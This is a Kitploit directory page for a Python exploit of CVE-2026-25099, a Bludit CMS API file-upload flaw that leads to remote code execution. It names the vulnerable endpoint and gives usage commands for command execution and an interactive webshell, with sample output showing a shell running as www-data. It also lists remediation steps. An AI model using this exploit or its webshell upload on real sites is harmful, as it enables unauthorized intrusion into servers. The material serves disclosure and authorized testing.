Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-25099 — Python exploit for Bludit CMS API unrestricted file upload leading to remote code execution, providing command execution and interactive shell for authorized testing. | Kitploit
Tools/GitHubGitHub/yahiahamza/cve-2026-25099
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubyahiahamza/cve-2026-25099

CVE-2026-25099

Python exploit for Bludit CMS API unrestricted file upload leading to remote code execution, providing command execution and interactive shell for authorized testing.

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE

Description

Bludit CMS versions before 3.18.4 allow an authenticated attacker with a valid API token to upload files of any type and extension via the POST /api/files/<page-key> endpoint. The uploadFile() function performs no file extension or content validation, allowing PHP webshells to be uploaded and executed as www-data.

Affected Versions

  • Vulnerable: Bludit < 3.18.4
  • Fixed: Bludit 3.18.4
  • Prerequisite: Valid API token (visible in admin panel under Plugins → API)

Usage

root@kitploit:~
# Single command execution
python3 CVE-2026-25099.py -u http://target -t "API_TOKEN" -c "id"

# Interactive shell
python3 CVE-2026-25099.py -u http://target -t "API_TOKEN"

Example Output

root@kitploit:~
[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE
[*] Target: http://target
[*] Retrieving page key...
[+] Page key: create-your-own-content
[*] Uploading webshell...
[+] Shell uploaded: http://target/bl-content/uploads/pages/create-your-own-content/abcdefgh.php
[*] Verifying RCE...
[+] RCE confirmed: uid=33(www-data) gid=33(www-data) groups=33(www-data)

[+] Interactive shell (type 'exit' to quit)

shell> whoami
www-data
shell> grep BLUDIT_VERSION /var/www/html/bl-kernel/boot/init.php
define('BLUDIT_VERSION', '3.18.2');

Screenshots

PoC Execution

Remediation

  • Update to Bludit 3.18.4 or later
  • Disable the API plugin if not needed
  • Monitor /bl-content/uploads/ for unexpected PHP files

References

  • CVE-2026-25099 on MITRE
  • Technical Analysis - yh.do

Author

Yahia Hamza - https://yh.do

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Use responsibly and only against systems you have permission to test.

Download Tool